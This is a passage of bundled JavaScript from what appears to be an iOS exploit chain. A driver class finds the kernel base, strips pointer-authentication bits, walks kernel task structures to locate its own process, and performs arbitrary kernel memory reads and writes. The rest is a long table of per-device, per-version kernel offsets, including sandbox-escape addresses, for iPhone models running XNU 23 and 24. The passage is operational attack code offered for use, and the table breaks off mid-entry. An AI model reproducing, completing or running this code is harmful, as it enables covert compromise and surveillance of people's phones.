_Offsets__WEBPACK_IMPORTED_MODULE_0__["default"].getByDeviceAndVersion(); } runPE() { console.log(TAG, `runPE()`); if (!this.#offsets) { console.log(TAG, `Offsets were not obtained, aborting`); return false; } /* let baseKernel = startSandworm(); if (baseKernel == -1) return false; */ this.#kernelBase = mpd_kernel_base(); return true; } getPaciaGadget() { return mpd_pacia_gadget(); } getKernelBase() { return this.#kernelBase; } getSelfTaskAddr() { console.log(TAG, `getSelfTaskAddr`); let selfTaskKaddr = 0; for (let i=0; i<5; i++) { selfTaskKaddr = this.#findSelfTaskKaddr(true); if (!selfTaskKaddr) { console.log(TAG, `Searching the other way around`); selfTaskKaddr = this.#findSelfTaskKaddr(false); } else break; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep",20000); } return selfTaskKaddr; } #findSelfTaskKaddr(direction) { let kernelTaskAddr = this.#kernelBase + this.#offsets.kernelTask; console.log(TAG, `baseKernel: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(this.#kernelBase)}, kernelTask: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(kernelTaskAddr)}`); let kernelTaskVal = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; this.read(kernelTaskAddr, kernelTaskVal, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); kernelTaskVal = uread64(kernelTaskVal); //console.log(TAG,`kernelTaskval:${kernelTaskVal}`); kernelTaskVal = BigInt(kernelTaskVal); //console.log(TAG,`kernelTaskval:${Utils.hex(kernelTaskVal)}`); let ourPid = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("getpid"); console.log(TAG, `Our pid:${ourPid}`); let nextTask = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n; if (direction) this.read(kernelTaskVal + this.#offsets.nextTask, nextTask, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); else this.read(kernelTaskVal + this.#offsets.prevTask, nextTask, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); nextTask = uread64(nextTask); //console.log(TAG,`nextTask:${Utils.hex(nextTask)}`); while (nextTask != 0 && nextTask != kernelTaskVal) { let procROAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; this.read(nextTask + this.#offsets.procRO, procROAddr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); procROAddr = uread64(procROAddr); //console.log(TAG,`procROAddr:${Utils.hex(procROAddr)}`); let procVal = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; this.read(procROAddr, procVal, 8); procVal = BigInt(uread64(procVal)); //console.log(TAG,`procVal:${Utils.hex(procVal)}`); if (procVal && this.strip(procVal) > 0xffffffd000000000n) { let pid = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; this.read(procVal + this.#offsets.pid, pid, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); let buffRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(pid, 4); let view = new DataView(buffRes); pid = view.getUint32(0,true); //console.log(TAG,`pid:${Utils.hex(pid)}`); if (pid == ourPid) { console.log(TAG, `Found our pid`); return nextTask; } let nextTaskLocation = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; if (direction) this.read(nextTask + this.#offsets.nextTask, nextTaskLocation, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); else this.read(nextTask + this.#offsets.prevTask, nextTaskLocation, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); nextTask = uread64(nextTaskLocation); } else break; } return false; } read(srcAddr, dst, len) { srcAddr = this.strip(srcAddr); if (srcAddr < 0xffffffd000000000n) { console.log(TAG, `Invalid kaddr, cannot read: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(srcAddr)}`); return false; } kread_length(srcAddr,dst, len); return true; } write(dst, src, len) { let dstAddr = this.strip(dst); if (dstAddr < 0xffffffd000000000n) { console.log(TAG, `Invalid kaddr, cannot write:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(dstAddr)}`); return false; } kwrite_length(dst, src, len); return true; } writeZoneElement(dstAddr, src, len) { return kwrite_zone_element(dstAddr, src, len); } offsets() { return this.#offsets; } strip(val) { return xpac(val); } transferRW() { return { controlSocket: mpd_control_socket(), rwSocket: mpd_rw_socket() }; } threadSpawn(scriptCFString, threadMem) { mpd_js_thread_spawn(scriptCFString, threadMem, true); } } /***/ }), /***/ "./src/libs/Driver/Offsets.js": /*!************************************!*\ !*** ./src/libs/Driver/Offsets.js ***! \************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ Offsets) /* harmony export */ }); /* harmony import */ var libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/OffsetsStruct */ "./src/libs/Chain/OffsetsStruct.js"); /* harmony import */ var _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./OffsetsTable */ "./src/libs/Driver/OffsetsTable.js"); const TAG = "OFFSETS" class Offsets { static getByDeviceAndVersion() { Native.callSymbol("uname", Native.mem); const sysname = Native.readString(Native.mem, 0x100); const nodename = Native.readString(Native.mem + 0x100n, 0x100); const release = Native.readString(Native.mem + 0x200n, 0x100); const version = Native.readString(Native.mem + 0x300n, 0x100); const machine = Native.readString(Native.mem + 0x400n, 0x100); console.log(TAG, `release: ${release} with machine: ${machine}`); const buildVer = this.getBuildVersion(); console.log(TAG, "Build version: " + buildVer); let splittedVersion = release.split("."); let xnuMajor = splittedVersion[0]; let xnuMinor = splittedVersion[1]; let splittedMachine = machine.split(","); let deviceFamily = splittedMachine[0]; let deviceModel = splittedMachine[1]; console.log(TAG, "deviceFamily: " + deviceFamily); // Ugly hack to support 17.7, 17.7.1 and 17.7.2 if (buildVer) { if (buildVer == "21H16") xnuMinor = 6.1; else if (buildVer == "21H216") xnuMinor = 6.2; else if (buildVer == "21H221") xnuMinor = 6.3; } // Get offsets per device family let deviceOffsets = _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__.offsets[deviceFamily]; if (!deviceOffsets) { console.log(TAG, `Unsupported machine: ${machine}`); return null; } let familyOffsets = deviceOffsets["*"]; let foundFamilyOffsets = this.#getOffsetsByVersion(familyOffsets, xnuMajor, xnuMinor); if (!foundFamilyOffsets) return null; // Adjustments per device model let modelOffsets = deviceOffsets[deviceModel]; let foundModelOffsets = null; if (modelOffsets) foundModelOffsets = this.#getOffsetsByVersion(modelOffsets, xnuMajor, xnuMinor); // Merge family offsets and device offsets let foundOffsets = new libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__["default"](); Object.assign(foundOffsets, foundFamilyOffsets); if (foundModelOffsets) Object.assign(foundOffsets, foundModelOffsets); if (["iPhone15", "iPhone16", "iPhone17"].includes(deviceFamily)) foundOffsets.T1SZ_BOOT = 17n; else foundOffsets.T1SZ_BOOT = 25n; console.log(TAG, "Offsets: " + JSON.stringify(foundOffsets, (_,v) => typeof v === 'bigint' ? "0x"+v.toString(16) : v, 2)); return foundOffsets; } static #getOffsetsByVersion(offsets, xnuMajor, xnuMinor) { let xnuMajorOffsets = 0; for (let major in offsets) { if (xnuMajor < major) continue; if (xnuMajorOffsets < major) xnuMajorOffsets = major; } if (!xnuMajorOffsets) { console.log(TAG, "Unsupported XNU major: " + xnuMajor); return null; } //console.log(TAG, "Matching XNU major: " + xnuMajorOffsets); xnuMajorOffsets = offsets[xnuMajorOffsets]; let foundOffsets = {}; let xnuMinorOffsets = -1; const sortedMinors = Object.keys(xnuMajorOffsets).sort(); for (let minor of sortedMinors) { //console.log(TAG, `minor: ${minor}, xnuMinor: ${xnuMinor}`); if (minor > xnuMinor) break; if (xnuMinorOffsets < minor) { xnuMinorOffsets = minor; Object.assign(foundOffsets, xnuMajorOffsets[minor]); } } //console.log(TAG, "Matching XNU minor: " + xnuMinorOffsets); return foundOffsets; } static getBuildVersion() { const CTL_KERN = 1; const KERN_OSVERSION = 65; const mib = new ArrayBuffer(4 * 2); const mibView = new DataView(mib); mibView.setInt32(0, CTL_KERN, true); mibView.setInt32(4, KERN_OSVERSION, true); const mibAddr = Native.mem; const resultAddr = Native.mem + 0x100n; const lengthAddr = Native.mem + 0x200n; Native.write(Native.mem, mib); let ret = Native.callSymbol("sysctl", mibAddr, 2, resultAddr, lengthAddr, null, 0); if (ret != 0) { console.log(TAG, "Unable to get iOS build version"); return null; } const length = Native.read32(lengthAddr); const buildVer = Native.readString(resultAddr, length); return buildVer; } } /***/ }), /***/ "./src/libs/Driver/OffsetsTable.js": /*!*****************************************!*\ !*** ./src/libs/Driver/OffsetsTable.js ***! \*****************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ offsets: () => (/* binding */ offsets) /* harmony export */ }); const offsets = { // iPhone XS // iPhone XS Max // iPhone XS Max Global // iPhone XR "iPhone11": { "*": { 23: { 0: { pComm: 0x568n, excGuard: 0x5bcn, kstackptr: 0xe8n, ropPid: 0x150n, jopPid: 0x158n, guardExcCode: 0x308n, taskThreads: 0x348n, tro: 0x358n, ast: 0x37cn, mutexData: 0x380n, ctid: 0x408n, troTask: 0x20n }, 3: { kernelTask: 0x918210n, guardExcCode: 0x318n, taskThreads: 0x358n, tro: 0x368n, ast: 0x38cn, mutexData: 0x398n, ctid: 0x418n }, 4: { kernelTask: 0x91c638n, pComm: 0x56cn, troTask: 0x28n, guardExcCode: 0x320n, taskThreads: 0x360n, tro: 0x370n, ast: 0x394n, mutexData: 0x3a0n, ctid: 0x420n, procRO: 0x388n }, 5: { kernelTask: 0x920a90n }, 6: { kernelTask: 0x9209f0n }, 6.1: { kernelTask: 0x920a40n } }, 24: { 0: { kernelTask: 0x9f1548n, pComm: 0x56cn, procRO: 0x3a0n, ipcSpace: 0x318n, troTask: 0x28n, excGuard: 0x5dcn, kstackptr: 0xf0n, ropPid: 0x158n, jopPid: 0x160n, guardExcCode: 0x320n, taskThreads: 0x370n, tro: 0x378n, ast: 0x39cn, mutexData: 0x3a8n, ctid: 0x428n }, 1: { kernelTask: 0x9f1560n, taskThreads: 0x368n, tro: 0x370n, ast: 0x394n, mutexData: 0x3a0n, ctid: 0x420n }, 2: { kernelTask: 0x9fd988n, }, 3: { kernelTask: 0x9f5988n }, 4: { kernelTask: 0xa62b50n, procRO: 0x3c0n, excGuard: 0x5fcn, taskThreads: 0x370n, tro: 0x378n, ast: 0x39cn, mutexData: 0x3a8n, ctid: 0x428n }, 5: { kernelTask: 0xa6ac38n }, 6: { kernelTask: 0xa6ad48n, guardExcCode: 0x328n, taskThreads: 0x378n, tro: 0x380n, ast: 0x3a4n, mutexData: 0x3b0n, ctid: 0x430n, migLock: 0x36971f0n, migSbxMsg: 0x3697210n, migKernelStackLR: 0x2f7c1a0n, } } }, "8": { 23: { 4: { kernelTask: 0x8fc638n }, 5: { kernelTask: 0x900a90n }, 6: { kernelTask: 0x9009f0n }, 6.1: { kernelTask: 0x900a40n } }, 24: { 0: { kernelTask: 0x9d1548n }, 1: { kernelTask: 0x9d1560n, }, 2: { kernelTask: 0x9d9988n }, 3: { kernelTask: 0x9d1988n }, 4: { kernelTask: 0xa42b50n }, 5: { kernelTask: 0xad6b78n, migLock: 0x38d74e8n, migSbxMsg: 0x38d7508n, migKernelStackLR: 0x31b19e4n }, 6: { kernelTask: 0xa4ad48n, migLock: 0x352e1f0n, migSbxMsg: 0x352e210n, migKernelStackLR: 0x2e5ba20n, } } } }, // iPhone 11 // iPhone 11 Pro // iPhone 11 Pro Max // iPhone SE 2 "iPhone12": { "*": { 23: { 0: { pComm: 0x568n, excGuard: 0x5bcn, kstackptr: 0xf0n, ropPid: 0x158n, jopPid: 0x160n, guardExcCode: 0x328n, taskThreads: 0x368n, tro: 0x378n, ast: 0x39cn, mutexData: 0x3a8n, ctid: 0x428n, troTask: 0x20n }, 3: { kernelTask: 0x96c178n, }, 4: { kernelTask: 0x970588n, pComm: 0x56cn, troTask: 0x28n, guardExcCode: 0x330n, taskThreads: 0x370n, tro: 0x380n, ast: 0x3a4n, mutexData: 0x3b0n, ctid: 0x430n, procRO: 0x388n }, 5: { kernelTask: 0x9749d8n }, 6: { kernelTask: 0x974938n }, 6.1: { kernelTask: 0x974988n } }, 24: { 0: { kernelTask: 0xa49488n, pComm: 0x56cn, procRO: 0x3a0n, ipcSpace: 0x318n, troTask: 0x28n, excGuard: 0x5dcn, kstackptr: 0xf8n, ropPid: 0x160n, jopPid: 0x168n, guardExcCode: 0x330n, taskThreads: 0x380n, tro: 0x388n, ast: 0x3acn, mutexData: 0x3b8n, ctid: 0x438n }, 1: { kernelTask: 0xa494a0n, taskThreads: 0x378n, tro: 0x380n, ast: 0x3a4n, mutexData: 0x3b0n, ctid: 0x430n }, 2: { kernelTask: 0xa518c8n }, 3: { kernelTask: 0xa498c8n }, 4: { kernelTask: 0xacea90n, procRO: 0x3c0n, excGuard: 0x5fcn, taskThreads: 0x380n, tro: 0x388n, ast: 0x3acn, mutexData: 0x3b8n, ctid: 0x438n }, 5: { kernelTask: 0xad6b78n }, 6: { kernelTask: 0xad6c88n, guardExcCode: 0x338n, taskThreads: 0x388n, tro: 0x390n, ast: 0x3b4n, mutexData: 0x3c0n, ctid: 0x440n, migLock: 0x38e34e8n, migSbxMsg: 0x38e3508n, migKernelStackLR: 0x31ba7a0n, } } }, "3": { 23: { 4: { kernelTask: 0x974588n }, 5: { kernelTask: 0x9789d8n }, 6: { kernelTask: 0x974938n }, 6.1: { kernelTask: 0x974988n } }, 24: { 0: { kernelTask: 0xa49488n }, 1: { kernelTask: 0xa4d4a0n }, 2: { kernelTask: 0xa558c8n }, 3: { kernelTask: 0xa4d8c8n }, 4: { kernelTask: 0xacea90n }, 5: { kernelTask: 0xad6b78n }, 6: { kernelTask: 0xad6c88n, migLock: 0x38e7468n, migSbxMsg: 0x38e7488n, migKernelStackLR: 0x31bf5a0n, } } }, "5": { 23: { 4: { kernelTask: 0x974588n }, 5: { kernelTask: 0x9789d8n }, 6: { kernelTask: 0x974938n }, 6.1: { kernelTask: 0x974988n } }, 24: { 0: { kernelTask: 0xa49488n }, 1: { kernelTask: 0xa4d4a0n }, 2: { kernelTask: 0xa558c8n }, 3: { kernelTask: 0xa4d8c8n }, 4: { kernelTask: 0xacea90n }, 5: { kernelTask: 0xad6b78n }, 6: { kernelTask: 0xad6c88n, migLock: 0x38e7468n, migSbxMsg: 0x38e7488n, migKernelStackLR: 0x31bf5a0n, } } }, "8": { 23: { 4: { kernelTask: 0x960588n }, 5: { kernelTask: 0x9649d8n }, 6: { kernelTask: 0x964938n }, 6.1: { kernelTask: 0x964988n } }, 24: { 0: { kernelTask: 0xa35488n }, 1: { kernelTask: 0xa354a0n }, 2: { kernelTask: 0xa3d8c8n }, 3: { kernelTask: 0xa358c8n }, 4: { kernelTask: 0xab6a90n }, 5: { kernelTask: 0xabeb78n }, 6: { kernelTask: 0xac2c88n, migLock: 0x387a8e8n, migSbxMsg: 0x387a908n, migKernelStackLR: 0x3156f20n, } } } }, // iPhone 12 // iPhone 12 Mini // iPhone 12 Pro // iPhone 12 Pro Max "iPhone13": { "*": { 23: { 0: { pComm: 0x568n, excGuard: 0x5bcn, kstackptr: 0xf0n, ropPid: 0x158n, jopPid: 0x160n, guardExcCode: 0x318n, taskThreads: 0x358n, tro: 0x368n, ast: 0x38cn, mutexData: 0x390n, ctid: 0x418n, troTask: 0x20n }, 3: { kernelTask: 0x94c2d0n, guardExcCode: 0x328n, taskThreads: 0x368n, tro: 0x378n, ast: 0x39cn, mutexData: 0x3a8n, ctid: 0x428n }, 4: { kernelTask: 0x9546e0n, pComm: 0x56cn, troTask: 0x28n, guardExcCode: 0x330n, taskThreads: 0x370n, tro: 0x380n, ast: 0x3a4n, mutexData: 0x3b0n, ctid: 0x430n, procRO: 0x388n }, 5: { kernelTask: 0x954b30n }, 6: { kernelTask: 0x954a90n }, 6.1: { kernelTask: 0x954ae0n } }, 24: { 0: { kernelTask: 0xa295e0n, pComm: 0x56cn, procRO: 0x3a0n, ipcSpace: 0x318n, troTask: 0x28n, excGuard: 0x5dcn, kstackptr: 0xf8n, ropPid: 0x160n, jopPid: 0x168n, guardExcCode: 0x330n, taskThreads: 0x380n, tro: 0x388n, ast: 0x3acn, mutexData: 0x3b8n, ctid: 0x438n }, 1: { kernelTask: 0xa2d5f8n, taskThreads: 0x378n, tro: 0x380n, ast: 0x3a4n, mutexData: 0x3b0n, ctid: 0x430n }, 2: { kernelTask: 0xa35a20n }, 3: { kernelTask: 0xa2da20n }, 4: { kernelTask: 0xa9ebe8n, procRO: 0x3c0n, excGuard: 0x5fcn, taskThreads: 0x380n, tro: 0x388n, ast: 0x3acn, mutexData: 0x3b8n, ctid: 0x438n, migLock: 0x37b8b80n, migSbxMsg: 0x37b8ba0n, migKernelStackLR: 0x3190fa0n }, 5: { kernelTask: 0xaa6cd0n, migLock: 0x37d4c90n, migSbxMsg: 0x37d4cb0n, migKernelStackLR: 0x31acce4n }, 6: { kernelTask: 0xaaade0n, guardExcCode: 0x338n, taskThreads: 0x388n, tro: 0x390n, ast: 0x3b4n, mutexData: 0x3c0n, ctid: 0x440n, migLock: 0x37dcc90n, migSbxMsg: 0x37dccb0n, migKernelStackLR: 0x31b5b60n, } } } }, // iPhone 13 // iPhone 13 Mini // iPhone 13 Pro // iPhone 13 Pro Max // iPhone SE 3 // iPhone 14 // iPhone 14 Plus "iPhone14": { "*": { 23: { 0: { pComm: 0x568n, excGuard: 0x5d4n, kstackptr: 0xf0n, ropPid: 0x160n, jopPid: 0x168n, guardExcCode: 0x330n, taskThreads: 0x370n, tro: 0x380n, ast: 0x3a4n, mutexData: 0x3b0n, ctid: 0x430n, troTask: 0x20n }, 3: { kernelTask: 0x918ee0n, }, 4: { kernelTask: 0x91d318n, pComm: 0x56cn, troTask: 0x28n, guardExcCode: 0x338n, taskThreads: 0x378n, tro: 0x388n, ast: 0x3acn, mutexData: 0x3b8n, ctid: 0x438n }, 5: { kernelTask: 0x925770n }, 6: { kernelTask: 0x9256d0n }, 6.1: { kernelTask: 0x925720n } }, 24: { 0: { kernelTask: 0x9f6230n, pComm: 0x56cn, procRO: 0x3b8n, ipcSpace: 0x318n, troTask: 0x28n, excGuard: 0x5f4n, kstackptr: 0xf8n, ropPid: 0x168n, jopPid: 0x170n, guardExcCode: 0x338n, taskThreads: 0x388n, tro: 0x390n, ast: 0x3b4n, mutexData: 0x3c0n, ctid: 0x440n }, 1: { kernelTask: 0x9f6248n, taskThreads: 0x380n, tro: 0x388n, ast: 0x3acn, mutexData: 0x3b8n, ctid: 0x438n }, 2: { kernelTask: 0xa02678n }, 3: { kernelTask: 0x9fa678n }, 4: { kernelTask: 0xa67b18n, procRO: 0x3e0n, excGuard: 0x624n, taskThreads: 0x388n, tro: 0x390n, ast: 0x3b4n, mutexData: 0x3c0n, ctid: 0x448n, migLock: 0x382c218n, migSbxMsg: 0x382c238n, migKernelStackLR: 0x317d020n }, 5: { kernelTask: 0xa6fc00n, migLock: 0x3848428n, migSbxMsg: 0x3848448n, migKernelStackLR: 0x31994a4n }, 6: { kernelTask: 0xa73d10n, guardExcCode: 0x340n, taskThreads: 0x390n, tro: 0x398n, ast: 0x3bcn, mutexData: 0x3c8n, ctid: 0x450n, migLock: 0x38543a8n, migSbxMsg: 0x38543c8n, migKernelStackLR: 0x31a27e0n, } } }, "6": { 23: { 4: { kernelTask: 0x92d318n }, 5: { kernelTask: 0x935770n }, 6: { kernelTask: 0x9316d0n }, 6.1: { kernelTask: 0x931720n } }, 24: { 0: { kernelTask: 0xa06230n }, 1: { kernelTask: 0xa06248n }, 2: { kernelTask: 0xa12678n }, 3: { kernelTask: 0xa0a678n }, 4: { kernelTask: 0xa77b18n, migLock: 0x3898c18n, migSbxMsg: 0x3898c38n, migKernelStackLR: 0x31dff60n }, 5: { kernelTask: 0xa7fc00n, migLock: 0x38b4e28n, migSbxMsg: 0x38b4e48n, migKernelStackLR: 0x31fc3e4n }, 6: { kernelTask: 0xa83d10n, migLock: 0x38bcda8n, migSbxMsg: 0x38bcdc8n, migKernelStackLR: 0x3205560n, } } }, "7": { 23: { 4: { kernelTask: 0x919318n }, 5: { kernelTask: 0x921770n }, 6: { kernelTask: 0x9216d0n }, 6.1: { kernelTask: 0x921720n } }, 24: { 0: { kernelTask: 0x9f2230n }, 1: { kernelTask: 0x9f2248n }, 2: { kernelTask: 0x9fe678n }, 3: { kernelTask: 0x9f6678n }, 4: { kernelTask: 0xa67b18n, migLock: 0x3813d98n, migSbxMsg: 0x3813db8n, migKernelStackLR: 0x3163ae0n }, 5: { kernelTask: 0xa6fc00n, migLock: 0x382ffa8n, migSbxMsg: 0x382ffc8n, migKernelStackLR: 0x317ffa4n }, 6: { kernelTask: 0xa6fd10n, migLock: 0x3833fa8n, migSbxMsg: 0x3833fc8n, migKernelStackLR: 0x31852a0n, } } }, "8": { 23: { 4: { kernelTask: 0x919318n }, 5: { kernelTask: 0x921770n }, 6: { kernelTask: 0x9216d0n }, 6.1: { kernelTask: 0x921720n } }, 24: { 0: { kernelTask: 0x9f2230n }, 1: { kernelTask: 0x9f2248n }, 2: { kernelTask: 0x9fe678n }, 3: { kernelTask: 0x9f6678n }, 4: { kernelTask: 0xa67b18n, migLock: 0x3813d98n, migSbxMsg: 0x3813db8n, migKernelStackLR: 0x3163ae0n }, 5: { kernelTask: 0xa6fc00n, migLock: 0x382ffa8n, migSbxMsg: 0x382ffc8n, migKernelStackLR: 0x317ffa4n }, 6: { kernelTask: 0xa6fd10n, migLock: 0x3833fa8n, migSbxMsg: 0x3833fc8n, migKernelStackLR: 0x31852a0n, } } } }, // iPhone 14 Pro // iPhone 14 Pro Max // iPhone 15 // iPhone 15 Plus "iPhone15": { "*": { 23: { 0: { pComm: 0x568n, excGuard: 0x5d4n, kstackptr: 0xf0n, ropPid: 0x160n, jopPid: 0x168n, guardExcCode: 0x330n, taskThreads: 0x370n, tro: 0x380n, ast: 0x3a4n, mutexData: 0x3b0n, ctid: 0x430n, troTask: 0x20n }, 3: { kernelTask: 0x914e00n, }, 4: { kernelTask: 0x919238n, pComm: 0x56cn, troTask: 0x28n, guardExcCode: 0x338n, taskThreads: 0x378n, tro: 0x388n, ast: 0x3acn, mutexData: 0x3b8n, ctid: 0x438n }, 5: { kernelTask: 0x921690n }, 6: { kernelTask: 0x9215f0n }, 6.1: { kernelTask: 0x921640n }, 6.2: { kernelTask: 0x91d640n } }, 24: { 0: { kernelTask: 0x9ee150n, pComm: 0x56cn, procRO: 0x3b8n, ipcSpace: 0x318n, troTask: 0x28n, excGuard: 0x5f4n, kstackptr: 0xf8n, ropPid: 0x168n, jopPid: 0x170n, guardExcCode: 0x338n, taskThreads: 0x388n, tro: 0x390n, ast: 0x3b4n, mutexData: 0x3c0n, ctid: 0x440n }, 1: { kernelTask: 0x9f2168n, taskThreads: 0x380n, tro: 0x388n, ast: 0x3acn, mutexData: 0x3b8n, ctid: 0x438n }, 2: { kernelTask: 0x9fe598n }, 3: { kernelTask: 0x9f6598n }, 4: { kernelTask: 0xa67c18n, procRO: 0x3e0n, excGuard: 0x624n, taskThreads: 0x388n, tro: 0x390n, ast: 0x3b4n, mutexData: 0x3c0n, ctid: 0x448n, migLock: 0x37863f8n, migSbxMsg: 0x3786418n, migKernelStackLR: 0x3131620n }, 5: { kernelTask: 0xa6fd00n, migLock: 0x37a2788n, migSbxMsg: 0x37a27a8n, migKernelStackLR: 0x314dc24n }, 6: { kernelTask: 0xa6fe10n, guardExcCode: 0x340n, taskThreads: 0x390n, tro: 0x398n, ast: 0x3bcn, mutexData: 0x3c8n, ctid: 0x450n, migLock: 0x37aa708n, migSbxMsg: 0x37aa728n, migKernelStackLR: 0x3152ee0n } } }, "4": { 23: { 4: { kernelTask: 0x941238n }, 5: { kernelTask: 0x949690n }, 6: { kernelTask: 0x9495f0n }, 6.1: { kernelTask: 0x949640n } }, 24: { 0: { kernelTask: 0xa2a150n }, 1: { kernelTask: 0xa2a168n }, 2: { kernelTask: 0xa3a598n }, 3: { kernelTask: 0xa32598n }, 4: { kernelTask: 0xaa3c18n, migLock: 0x38c5388n, migSbxMsg: 0x38c53a8n, migKernelStackLR: 0x325f1e0n }, 5: { kernelTask: 0xaa7d00n, migLock: 0x38dd698n, migSbxMsg: 0x38dd6b8n, migKernelStackLR: 0x32777e4n }, 6: { kernelTask: 0xaabe10n, migLock: 0x38e5618n, migSbxMsg: 0x38e5638n, migKernelStackLR: 0x3280aa0n, } } }, "5": { 23: { 4: { kernelTask: 0x941238n }, 5: { kernelTask: 0x949690n }, 6: { kernelTask: 0x9495f0n }, 6.1: { kernelTask: 0x949640n } }, 24: { 0: { kernelTask: 0xa2a150n }, 1: { kernelTask: 0xa2a168n }, 2: { kernelTask: 0xa3a598n }, 3: { kernelTask: 0xa32598n }, 4: { kernelTask: 0xaa3c18n, migLock: 0x38c5388n, migSbxMsg: 0x38c53a8n, migKernelStackLR: 0x325f1e0n }, 5: { kernelTask: 0xaa7d00n, migLock: 0x38dd698n, migSbxMsg: 0x38dd6b8n, migKernelStackLR: 0x32777e4n }, 6: { kernelTask: 0xaabe10n, migLock: 0x38e5618n, migSbxMsg: 0x38e5638n, migKernelStackLR: 0x3280aa0n, } } } }, // iPhone 15 Pro // iPhone 15 Pro Max "iPhone16": { "*": { 23: { 0: { pComm: 0x568n, excGuard: 0x5d4n, kstackptr: 0x140n, ropPid: 0x1b0n, jopPid: 0x1b8n, guardExcCode: 0x380n, taskThreads: 0x3c0n, tro: 0x3d0n, ast: 0x3f4n, mutexData: 0x400n, ctid: 0x480n, troTask: 0x20n }, 3: { kernelTask: 0x978ef0n, }, 4: { kernelTask: 0x991eb0n, pComm: 0x56cn, troTask: 0x28n, options: 0xc0n, guardExcCode: 0x388n, taskThreads: 0x3c8n, tro: 0x3d8n, ast: 0x3fcn, mutexData: 0x408n, ctid: 0x488n }, 5: { kernelTask: 0x99a308n, }, 6: { kernelTask: 0x99a268n }, 6.1: { kernelTask: 0x99a2b8n }, 6.2: { kernelTask: 0x9962b8n } }, 24: { 0: { kernelTask: 0xaae870n, pComm: 0x56cn, procRO: 0x3b8n, ipcSpace: 0x318n, troTask: 0x28n, excGuard: 0x5f4n, kstackptr: 0x148n, ropPid: 0x1b8n, jopPid: 0x1c0n, guardExcCode: 0x388n, taskThreads: 0x3d8n, tro: 0x3e0n, ast: 0x404n, mutexData: 0x410n, ctid: 0x490n, options: 0xc0n }, 1: { kernelTask: 0xaae888n, taskThreads: 0x3d0n, tro: 0x3d8n, ast: 0x3fcn, mutexData: 0x408n, ctid: 0x488n }, 2: { kernelTask: 0xab6cb8n }, 3: { kernelTask: 0xab2cb8n }, 4: { kernelTask: 0xb23d28n, procRO: 0x3e0n, excGuard: 0x624n, taskThreads: 0x3d8n, tro: 0x3e0n, ast: 0x404n, mutexData: 0x410n, ctid: 0x498n, migLock: 0x3c03ef0n, migSbxMsg: 0x3c03f10n, migKernelStackLR: 0x3582fe0n }, 5: { kernelTask: 0xb2be10n, migLock: 0x3c181a8n, migSbxMsg: 0x3c181c8n, migKernelStackLR: 0x35993a4n }, 6: { kernelTask: 0xb2ff20n, guardExcCode: 0x390n, taskThreads: 0x3e0n, tro: 0x3e8n, ast: 0x40cn, mutexData: 0x418n, ctid: 0x4a0n, migLock: 0x3c241a8n, migSbxMsg: 0x3c241c8n, migKernelStackLR: 0x35a26a0n, } } } }, // iPhone 16 // iPhone 16 plus // iPhone 16 pro // iPhone 16 pro max "iPhone17": { "*": { 24: { 0: { kernelTask: 0xb7e1c8n, pComm: 0x56cn, procRO: 0x3b8n, ipcSpace: 0x318n, troTask: 0x28n, excGuard: 0x5fcn, kstackptr: 0x148n, ropPid: 0x1b8n, jopPid: 0x1c0n, guardExcCode: 0x390n, taskThreads: 0x3e0n, tro: 0x3e8n, ast: 0x40cn, mutexData: 0x418n, ctid: 0x4a8n, options: 0xc0n }, 1: { kernelTask: 0xb7e1e0n, taskThreads: 0x3d8n, tro: 0x3e0n, ast: 0x404n, mutexData: 0x410n, ctid: 0x4a0n, }, 2: { kernelTask: 0xb86610n }, 3: { kernelTask: 0xb82610n }, 4: { kernelTask: 0xc0fd80n, procRO: 0x3e0n, excGuard: 0x624n, taskThreads: 0x3e0n, tro: 0x3e8n, ast: 0x40cn, mutexData: 0x418n, ctid: 0x4a8n, migLock: 0x4042dc0n, migSbxMsg: 0x4042de0n, migKernelStackLR: 0x3912aa0n }, 5: { kernelTask: 0xc17e68n, migLock: 0x405eff8n, migSbxMsg: 0x405f018n, migKernelStackLR: 0x392be64n }, 6: { kernelTask: 0xc1bf78n, guardExcCode: 0x398n, taskThreads: 0x3e8n, tro: 0x3f0n, ast: 0x414n, mutexData: 0x420n, ctid: 0x4b0n, migLock: 0x4066f88n, migSbxMsg: 0x4066fa8n, migKernelStackLR: 0x39352e0n, } } }, "5": { 24: { 0: { kernelTask: 0xb7e1c8n, pComm: 0x56cn, procRO: 0x3b8n, ipcSpace: 0x318n, troTask: 0x28n, 